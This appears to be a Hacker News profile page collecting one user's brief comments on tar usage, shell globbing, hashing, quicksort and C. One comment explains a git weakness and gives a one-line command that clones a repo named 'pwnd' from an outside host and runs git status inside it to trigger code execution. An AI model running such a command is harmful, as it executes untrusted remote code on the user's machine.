tomlx

27 karma · joined August 17, 2016

tomlxon I don't know how I feel about email

was about to say that ...

> Tags: satire email

tomlxon Git-landmine – Create local malicious Git repo

none that i know of

tomlxon Git-landmine – Create local malicious Git repo

git does not clone hooks, but if a subdirectory of a repo has the structure of a bare repo it can hijack git subcommands for code execution. try:

  git clone https://git.0x90.space/vmann/pwnd && cd pwnd/whoot && git status

it is a bit crazy this is not disabled by default yet.

tomlxon Should you use Let's Encrypt for internal hostnames?

I never got why people think using tar is hard. Specify your archive File with f. want to eXtract it? add a x. want to Create it? add a c. Want it to be Verbose while doing that? add a v. if it's gZiped add a z. Granted, j for bzip2, t for listing is less obvious, but with that it's about everything you need for everyday usage and that more than suffices to disarm that bomb.

tomlxon Unix Admin Horror Story Summary (1992)

Interestingly

  $ bash -c 'cd /var/empty; echo .*'
  . ..

but

  $ ksh -c 'cd /var/empty; echo .*'
  .*

Seems some ksh dev got bitten and restricted this ...

tomlxon Pattern-defeating quicksort

This is beautiful. I will try to implement this once i'm at home ...

tomlxon How Hash Algorithms Work (2007)

Title is missleading. From the title I expected something about how to design a hash algorithm, but the article is just a walk through the specific operations SHA-1 performs w/o further explanation.

Can anyone recommand resources about the actual design of (cryptographic) hash algorithms?

tomlxon Let’s Stop Bashing C

Compiles fine with -Wall -Werror. No warnings.

tomlxon Show HN: LockedAway – A unique text experience

Nice read. I liked it ... :)